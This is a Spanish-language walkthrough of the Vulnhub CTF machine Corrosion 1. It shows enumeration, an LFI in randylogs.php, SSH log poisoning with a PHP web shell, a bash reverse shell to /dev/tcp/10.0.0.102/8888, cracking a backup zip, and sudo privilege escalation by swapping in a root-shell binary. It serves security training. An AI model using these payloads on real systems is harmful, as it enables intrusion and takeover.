Corrosion 1
Walkthrough de la máquina Corrosion 1 de la serie Corrosion de Vulnhub
Corrosion 1 es la primera de 2 CTFs de la serie de Corrosion.
Escaneo de puertos
Lo primero que hacemos es tratar de detectar lo puertos que están abiertos en la máquina víctima. Para ello vamos a lanzar un escaneo con nmap
contra todo el rango de puertos (-p-
) usando la plantilla de temporizado más rápida (-T5
), filtrando por los puertos abiertos (--open
), y deshabilitando la resolución DNS (-n
) y el descubrimiento de hosts (-Pn
):
nmap -p- -T5 --open -Pn -n 10.0.0.100
Resultado:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-25 09:51 CET Nmap scan report for 10.0.0.100 Host is up (0.0065s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 4.83 seconds
De este primer escaneo obtenemos que tenemos los siguientes puertos abiertos: 22 (SSH) y 80 (HTTP). Sabiendo que estos puertos están abiertos, lo siguiente que vamos a hacer es tratar de detectar qué servicios se están exponiendo y las versiones de los mismos (-sCV
):
nmap -p22,80 -sCV 10.0.0.100
Resultado:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-25 09:57 CET Nmap scan report for wordpress.aragog.hogwarts (10.0.0.100) Host is up (0.0032s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 0ca71c8b4e856b168cfdb7cd5f603ea4 (RSA) | 256 0f24f465af50d3d3aa0933c3173d63c7 (ECDSA) |_ 256 b0facd7773dae47dc875a1c55f2c210a (ED25519) 80/tcp open http Apache httpd 2.4.46 ((Ubuntu)) |_http-server-header: Apache/2.4.46 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.98 seconds
Del resultado de este escaneo más detallado obtenemos lo siguiente:
22/TCP
: SSH - OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0)80/TCP
: HTTP - Apache httpd 2.4.46 ((Ubuntu))
Análisis del servicio HTTP (80/TCP)
Cómo el escaneo de puertos nos indica que está el puerto 80 abierto con un servicio HTTP expuesto, lo primero que podemos hacer es ver qué se está exponiendo en ese servicio. Para ello introducimos la IP de máquina víctima en nuestro navegador. Tras hacerlo, observamos que lo único que se nos muestra es la página por defecto de instalación de Apache, así que vamos a tener que buscar más recursos expuestos mediante un ataque de fuerza bruta.
Para relizar este ataque vamos a usar Gobuster indicándole que queremos listar directorios (dir
) contra la IP de la máquina víctima (-u
), usando extensiones adicionales (-x
), y usando un diccionario orientado a listado de directorios (-w
):
gobuster dir -u http://10.0.0.100 -x html,txt,php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Resultado:
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.0.0.100 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: html,txt,php [+] Timeout: 10s =============================================================== 2023/02/25 10:13:58 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 10918] /tasks (Status: 301) [Size: 308] [--> http://10.0.0.100/tasks/] /blog-post (Status: 301) [Size: 312] [--> http://10.0.0.100/blog-post/] /server-status (Status: 403) [Size: 275] =============================================================== 2023/02/25 10:18:28 Finished ===============================================================
Del resultado obtenemos que existen 3 rutas más que pueden ser interesantes:
- /tasks: que nos redirige a /tasks/
- /blog-post: que nos redirige a /blog-post/
- /server-status: al cual no podemos acceder porque nos da un error 403 Forbidden
El directorio /tasks/
Tras acceder a la URL detectada lo primero que vemos que es tenemos capacidad de directory listing y que existe un nota llamada task_todo.txt
. Si abrimos el fichero vemos lo siguiente:
# Tasks that need to be completed 1. Change permissions for auth log 2. Change port 22 -> 7672 3. Set up phpMyAdmin
En el listado de tareas nos indica que tienen que cambiar los permisos del log de autenticación, así que es posible que se pueda acceder mediante un LFI (local file inclusion). Por otro lado, nos indica que quiren cambiar el puerto SSH, aunque parece que aún no está hecho, y configurar phpMyAdmin.
Como tenemos capacidad de directory listing en esta ruta, sabemos que no tenemos ningún recurso más accesible, así que vamos a tratar de ver qué podemos encontrar en la ruta /blog-post/.
El directorio /blog-post/
Lo siguiente que vamos a hacer es acceder a http://10.0.0.100/blog-post/ en nuestro navegador. Esa es la segunda ruta que habíamos descubierto haciendo uso de Gobuster. Al acceder vemos que el contenido es el siguiente:
<!DOCTYPE html> <html> <head></head> <body> <h1>Welcome to my Blog!</h1> <p> This website is in development. Will be updated in the next couple Months! - randy </p> <img src="image.jpg" /> </body> </html>
Como podemos observar, del contenido de la página web no podemos obtener ninguna información relevante. Si tratamos de ver si se ha ocultado información en la imagen mediante esteganografía tampoco encontraremos nada, así que lo siguente que podemos hacer es tratar de descubrir más recursos que se encuentren dentro de /blog-post/. Para ello usamos Gobuster de nuevo:
gobuster dir -u http://10.0.0.100/blog-post/ -x html,txt,php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Resultado:
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.0.0.100/blog-post/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: html,txt,php [+] Timeout: 10s =============================================================== 2023/02/25 11:01:35 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 190] /archives (Status: 301) [Size: 321] [--> http://10.0.0.100/blog-post/archives/] /uploads (Status: 301) [Size: 320] [--> http://10.0.0.100/blog-post/uploads/] =============================================================== 2023/02/25 11:06:42 Finished ===============================================================
Gobuster nos revela que existen dos directorios adicionales que pueden ser interesantes:
- /blog-post/archives: que nos redirige a /blog-post/archives/
- /blog-post/uploads: que nos redirige a /blog-post/uploads/
El directorio /blog-post/archives/
Al acceder a este directorio mediante el navegador vemos que volvemos a tener capacidad de directory listing. En ese directorio nos encontramos con el fichero randylogs.php
el cual, al abrirlo, no nos devuelve ninguna información. El hecho de que no devuelva nada nos hace pensar que puede que ese programa en PHP necesite de algún parámetro para funcionar.
Para descubir qué parámetro necesita vamos usar UFuzz. Para obtener el resultado esperado ocultamos todos los resultados que su longitud sea 0 (--hl
), le proporcionamos un diccionario (-w
), e indicamos con el tag FUZZ
dónde queremos reemplazar las parabras del diccionario en la url. Como el fichero task_todo.txt
nos indicaba que tenían que cambiar los permisos del fichero del log de auth, vamos a intenter ver si tenemos acceso:
wfuzz --hl 0 -w /usr/share/seclists/Discovery/Web-Content/common.txt http://10.0.0.100/blog-post/archives/randylogs.php?FUZZ=/var/log/auth.log
Resultado:
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://10.0.0.100/blog-post/archives/randylogs.php?FUZZ=/var/log/auth.log Total requests: 4711 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000001783: 200 340 L 4147 W 33640 Ch "file" Total time: 0 Processed Requests: 4711 Filtered Requests: 4710 Requests/sec.: 0
El resultado de UFuzz nos indica que si usamos el parámetro "file" la petición nos devuleve algún contenido, así que ahora podemos ir a /blog-post/archives/randylogs.php?file=/var/log/auth.log
y ver qué nos está devolviendo el servidor. Podemos comprobar que podemos ver el fichero de log por lo que se está aconteciendo un LFI (local file inclusion).
En caso de estarse interpretando ese fichero de log mediante PHP y dado a que el nombre de usuario se registra al intentar autenticarnos por SSH, podríamos tratar de inyectar código en PHP como nombre de usuario para conseguir convertir el LFI (local file inclusion) en una RCE (remote code execution) haciendo uso de lo que se conoce como envenenamiento de log (log poisoning).
Envenenamiento de log
Lo primero que vamos a comprobar es si realmente tenemos capacidad de escritura en el fichero /var/log/auth.log
de la máquina víctima mediante el campo usuario de SSH. Para ello intentamos conectarnos por SSH poniendo un nombre de usuario que luego buscaremos en el log, y fallamos la contraseña para que se registre:
ssh write_test@10.0.0.100 write_test@10.0.0.100's password: Permission denied, please try again.
Y ahora tratamos de ver si tenemos el texto "write_test" en el log:
curl -s http://10.0.0.100/blog-post/archives/randylogs.php?file=/var/log/auth.log | grep write_test
Resultado:
Feb 26 01:26:05 corrosion sshd[2945]: Invalid user write_test from 10.0.0.102 port 59834 Feb 26 01:26:06 corrosion sshd[2945]: Failed none for invalid user write_test from 10.0.0.102 port 59834 ssh2 Feb 26 01:26:07 corrosion sshd[2945]: Connection closed by invalid user write_test 10.0.0.102 port 59834 [preauth]
Efectivamente, tenemos capacidad de escritura en el log. Ahora vamos a meter un pequeño script en PHP a ver si lo ejecuta. Vamos a tratar de ver desde qué directorio se ejecuta el comando usando pwd
:
ssh '<?php system('pwd'); ?>'@10.0.0.100 <?php system(pwd); ?>@10.0.0.100's password: Permission denied, please try again
Y ahora comprobamos qué tenemos en el log:
curl -s http://10.0.0.100/blog-post/archives/randylogs.php?file=/var/log/auth.log | tail
Resultado:
Feb 26 01:32:01 corrosion CRON[2999]: pam_unix(cron:session): session opened for user root by (uid=0) Feb 26 01:32:01 corrosion CRON[2999]: pam_unix(cron:session): session closed for user root Feb 26 01:32:48 corrosion sshd[3006]: Invalid user /var/www/html/blog-post/archives from 10.0.0.102 port 44582 Feb 26 01:32:50 corrosion sshd[3006]: Failed none for invalid user /var/www/html/blog-post/archives from 10.0.0.102 port 44582 ssh2 Feb 26 01:32:56 corrosion sshd[3006]: Connection closed by invalid user /var/www/html/blog-post/archives 10.0.0.102 port 44582 [preauth] Feb 26 01:33:01 corrosion CRON[3010]: pam_unix(cron:session): session opened for user root by (uid=0) Feb 26 01:33:01 corrosion CRON[3010]: pam_unix(cron:session): session closed for user root
De esta manera comprobamos que se está aconteciendo un RCE (remote command execution) ya que no vemos las etiquetas de PHP pero sí que vemos el resultado de la ejecución del comando pwd
, que sería /var/www/html/blog-post/archives
.
A partir de aquí tenemos muchas posiblidades para conseguir una terminal remota en la máquina víctima para poder trabajar con más comodidad. Por ejemplo, podemos convertir el propio log en una shell PHP usando como nombre de usuario de SSH <?php system($_GET['c']); ?>
:
ssh '<?php system($_GET['c']); ?>'@10.0.0.100 <?php system($_GET[c]); ?>@10.0.0.100's password: Permission denied, please try again.
Ahora que ya podemos lanzar comandos, vamos intentar establecer una reverse shell hacia nuestra máquina. Para ello nos ponemos en escucha usando Netcat:
nc -nlvp 8888
Recibiendo el mensaje de confirmación de que estamos escuchando:
listening on [any] 8888 ...
A continuación, a través de la RCE que hemos conseguido a través del envenenamiento de logs ejecutamos un comando para que nos establezca una conexión a nuestro Netcat (/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.102/8888 0>&1'
). Para ello hacemos un url encode del comando y lo pasamos por el parámetro c
de la url http://10.0.0.100/blog-post/archives/randylogs.php?file=/var/log/auth.log&c=/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.102/8888%200%3E%261%27
obteniendo el siguiente resultado:
listening on [any] 8888 ... connect to [10.0.0.102] from (UNKNOWN) [10.0.0.100] 39422 bash: cannot set terminal process group (743): Inappropriate ioctl for device bash: no job control in this shell www-data@corrosion:/var/www/html/blog-post/archives$
Ahora, para poder tener una shell completamente interactiva, lanzamos una pseudo consola con script /dev/null -c bash
, presionamos Ctrl + z
y hacemos un tratamiento de la tty con stty raw -echo; fg
. Hacemos reset
para reiniciar la configuración de la terminal, escribirmos xterm
como tipo de terminal y exportamos 2 variables de entorno:
export TERM=xterm
export SHELL=bash
Con esto ya deberíamos poder hacer Ctrl + c
para terminar la ejecución de un comando, o Ctrl + l
para limpiar la terminal. También podemos ir atrás en el histórico de comandos.
Comprobamos el usuario con el que estamos conectados con el comando whoami
y nos indica que estamos como el usuario www-data
. Si comprobamos el fichero /etc/passwd
observamos que la máquina tiene dos usarios adicionales:
- root
- randy
El usuario randy
Si buscamos por los archivos que tenemos permisos como el usuario www-data
, encontramos que existe un archivo user_backup.zip
en la carpeta /var/backups
para el cual tenemos permismos de lectura. Al intentar descomprimirlo vemos que nos pide una contraseña que no tenemos, así que vamos a tratar de llevalo a nuestro equipo para intentar descubrir la contraseña mediante fuerza bruta.
Para ello levantamos un servidor con Python en la máquina víctima (python3 -m http.server 8000
) desde la carpeta /var/backups
, y nos lo traemos al a máquina atacante con wget
:
wget http://10.0.0.100:8000/user_backup.zip
Ahora que lo tenemos descargado en local, vamos a tratar de crackear la contraseña usando John the Ripper. Primero extraemos el hash con zip2john
:
zip2john user_backup.zip > hash.txt
A continuación usamos John the Ripper para realizar un ataque de diccionario contra el hash generado:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Como resultado nos indica que la contraseña del archivo comprimido user_backup.zip
es !randybaby
, así que ahora ya podemos descomprimirlo usando unzip
. Tras descomprimirlo nos encontramos con 4 ficheros:
- id_rsa: clave privada del usuario
- id_rsa.pub: clave pública del usuario
- my_password.txt: contraseña de un usuario
- easysysinfo.c: programa en C que hace un setuid(0) y un setgid(0)
Si probamos mediante SSH la contraseña randylovesgoldfish1998
que hemos obtenido del fichero my_password.txt
para el usuario randy
comprobamos que ganamos acceso como ese usuario.
También podemos comprobar que las claves son las mismas que las del usuario y que existe un ejecutable con el mismo nombre que el programa en C dentro de la carpeta /tools
Si listamos el contenido del directorio home del usuario randy
/home/randy
encontramos el primer flag (user.txt
):98342721012390839081
.
Ganando acceso como root
Como ya hemos comentado anteriormente, el ejecutable que nos encontramos destro de /home/randy/tools/
pertenece a root y ejecuta una serie de comandos. Aunque ese ejecutable parezca una potencial forma de ganar privilegios no es posible, así que hay que buscar otra forma.
Lo siguiente que podemos hacer es listar los privilegios del usuario randy con sudo -l
. Al hacer esto, nos indica que puede ejecutar como root el ejecutable que se encuentra en /home/randy/tools/easysysinfo
. Al estar en la carpeta del usuario randy podemos tratar de renombrarlo y crear nuestro propio ejecutable. Para renombrar el ejecutable hacemos:
mv easysysinfo easysysinfo.bak
Después de esto, tenemos que crear un programa en C que nos permita ganar una bash como el usuario root, así que creamos el fichero root.c
con el siguiente contenido:
#include <unistd.h> #include <stdlib.h> void main() { setuid(0); setgid(0); system("bash -i"); }
A continuación lo compilamos con gcc
:
gcc root.c -o easysysinfo
Y lo ejectumos con sudo
:
sudo ./easysysinfo
Resultado:
root@corrosion:/home/randy/tools#
Alternativa usando Python
Este mismo proceso se podría hacer usando Python. Para ello, tras renombrar el ejecutable original, creamos el fichero easysysinfo
con el siguiente contenido:
#!/usr/bin/python3.9 import os; os.system("/bin/sh")
Tras esto damos permisos de ejecución y lo ejecutamos con sudo
:
chmod +x easysysinfo sudo ./easysysinfo
Resultado:
# whoami root
Como podemos observar ya tenemos acceso como el usurio root a la máquina, así que ya podemos buscar la segunda flag.
Si listamos el contenido del directorio home del usuario root
/root
encontramos el segundo flag (root.txt
):FLAG: 4NJSA99SD7922197D7S90PLAWE ...
.